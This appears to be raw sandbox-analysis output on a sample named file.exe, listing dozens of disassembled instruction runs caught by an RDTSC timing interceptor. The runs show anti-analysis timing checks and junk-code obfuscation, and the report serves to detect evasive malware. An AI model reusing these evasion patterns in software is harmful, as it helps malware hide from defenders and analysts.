Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B29B second address: 81B2B0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F105527A088h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push esi 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B2B0 second address: 81B2B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B36B second address: 81B380 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A091h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B4DF second address: 81B509 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F105534B226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F105534B21Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B94C second address: 81B9C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A08Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F105527A088h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 pushad 0x00000028 mov edx, dword ptr [ebp+122D3569h] 0x0000002e mov bx, E6EEh 0x00000032 popad 0x00000033 push 00000000h 0x00000035 ja 00007F105527A09Dh 0x0000003b push 00000000h 0x0000003d xor dword ptr [ebp+122D24FFh], ebx 0x00000043 push eax 0x00000044 pushad 0x00000045 pushad 0x00000046 jmp 00007F105527A08Ch 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C277 second address: 81C282 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F105534B216h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D1CA second address: 81D1CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D1CF second address: 81D1D9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F105534B21Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D1D9 second address: 81D1E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D1E5 second address: 81D1E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D1E9 second address: 81D250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F105527A088h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007F105527A088h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 movzx edi, bx 0x00000045 push 00000000h 0x00000047 mov edi, 377749ADh 0x0000004c xchg eax, ebx 0x0000004d push eax 0x0000004e push edx 0x0000004f jnl 00007F105527A08Ch 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D250 second address: 81D25E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105534B21Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D25E second address: 81D262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81DCE1 second address: 81DCE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81DCE5 second address: 81DCF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A08Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82114B second address: 821151 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821151 second address: 821168 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105527A093h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821168 second address: 8211D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jne 00007F105534B21Eh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F105534B218h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a jc 00007F105534B21Ch 0x00000030 sub dword ptr [ebp+122D181Ch], edi 0x00000036 xor dword ptr [ebp+122D181Ch], edi 0x0000003c push 00000000h 0x0000003e pushad 0x0000003f push ecx 0x00000040 or dword ptr [ebp+122D21E4h], eax 0x00000046 pop ebx 0x00000047 popad 0x00000048 push 00000000h 0x0000004a xchg eax, ebx 0x0000004b je 00007F105534B22Dh 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F105534B21Bh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8211D0 second address: 8211D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821C19 second address: 821C3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F105534B229h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826034 second address: 82604C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A094h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82604C second address: 826052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826052 second address: 826056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827175 second address: 827180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F105534B216h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8281A0 second address: 8281A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82737A second address: 82737E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8281A4 second address: 8281AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8281AA second address: 828239 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F105534B21Ch 0x00000008 jp 00007F105534B216h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jne 00007F105534B218h 0x00000018 jmp 00007F105534B228h 0x0000001d popad 0x0000001e nop 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007F105534B218h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 00000016h 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 mov ebx, dword ptr [ebp+122D253Fh] 0x0000003f mov dword ptr [ebp+122D257Ch], eax 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push ebx 0x0000004a call 00007F105534B218h 0x0000004f pop ebx 0x00000050 mov dword ptr [esp+04h], ebx 0x00000054 add dword ptr [esp+04h], 00000019h 0x0000005c inc ebx 0x0000005d push ebx 0x0000005e ret 0x0000005f pop ebx 0x00000060 ret 0x00000061 mov bh, 96h 0x00000063 push 00000000h 0x00000065 movzx edi, cx 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828239 second address: 82823F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82823F second address: 828244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82837F second address: 828399 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A096h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829F1B second address: 829F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82A1B2 second address: 82A1B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82A1B8 second address: 82A1BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BEDB second address: 82BEE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BEE3 second address: 82BEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C0C3 second address: 82C0DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A098h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D139 second address: 82D160 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B220h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F105534B218h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 push eax 0x00000013 jnl 00007F105534B21Eh 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C0DF second address: 82C0E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E048 second address: 82E063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F105534B216h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F105534B21Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C0E5 second address: 82C0E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E063 second address: 82E067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C0E9 second address: 82C0FB instructions: 0x00000000 rdtsc 0x00000002 js 00007F105527A086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C0FB second address: 82C100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C100 second address: 82C106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E067 second address: 82E074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C106 second address: 82C10A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82EF52 second address: 82EF58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831F6F second address: 831FEF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007F105527A086h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F105527A088h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 mov ebx, dword ptr [ebp+122D283Dh] 0x0000002f push 00000000h 0x00000031 jmp 00007F105527A08Eh 0x00000036 sub di, AD79h 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebx 0x00000040 call 00007F105527A088h 0x00000045 pop ebx 0x00000046 mov dword ptr [esp+04h], ebx 0x0000004a add dword ptr [esp+04h], 00000019h 0x00000052 inc ebx 0x00000053 push ebx 0x00000054 ret 0x00000055 pop ebx 0x00000056 ret 0x00000057 mov edi, dword ptr [ebp+122D30CBh] 0x0000005d sub di, F1C0h 0x00000062 xchg eax, esi 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 pushad 0x00000067 popad 0x00000068 push ebx 0x00000069 pop ebx 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833051 second address: 833068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105534B21Bh 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F072 second address: 82F077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833EB8 second address: 833ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F105534B216h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F105534B216h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8322A6 second address: 8322AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833185 second address: 83318F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F105534B216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834062 second address: 83406C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F105527A086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83406C second address: 834076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F105534B216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834076 second address: 834099 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F105527A098h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834099 second address: 8340B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105534B226h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F5F1 second address: 83F5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F105527A086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F5FB second address: 83F605 instructions: 0x00000000 rdtsc 0x00000002 je 00007F105534B216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F605 second address: 83F60B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F60B second address: 83F619 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F105534B216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ED42 second address: 83ED5A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F105527A086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F105527A08Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ED5A second address: 83ED63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ED63 second address: 83ED87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105527A095h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ED87 second address: 83ED8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EEE2 second address: 83EEE7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F058 second address: 83F05E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F05E second address: 83F064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F064 second address: 83F068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5267 second address: 7D526D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D526D second address: 7D5287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F105534B21Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5287 second address: 7D529B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007F105527A08Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D529B second address: 7D52B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105534B229h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845D1C second address: 845D22 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845EB3 second address: 845EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845EB7 second address: 845EC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B7D7 second address: 84B7DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BBF8 second address: 84BBFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BEEF second address: 84BEF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F105534B216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C1C7 second address: 84C1CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C1CB second address: 84C1CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C1CF second address: 84C200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105527A096h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F105527A08Eh 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C200 second address: 84C224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105534B21Eh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F105534B218h 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 push esi 0x00000017 pop esi 0x00000018 push eax 0x00000019 pop eax 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818E93 second address: 818E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818E97 second address: 818EEF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F105534B216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F105534B218h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 lea eax, dword ptr [ebp+1247CC35h] 0x0000002e jmp 00007F105534B222h 0x00000033 nop 0x00000034 jc 00007F105534B21Eh 0x0000003a jno 00007F105534B218h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push edi 0x00000044 pushad 0x00000045 popad 0x00000046 pop edi 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818EEF second address: 818EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818EF5 second address: 8004F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B225h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov ch, D8h 0x0000000e call dword ptr [ebp+12449046h] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F105534B223h 0x0000001c jmp 00007F105534B222h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819077 second address: 81907B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81907B second address: 81907F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
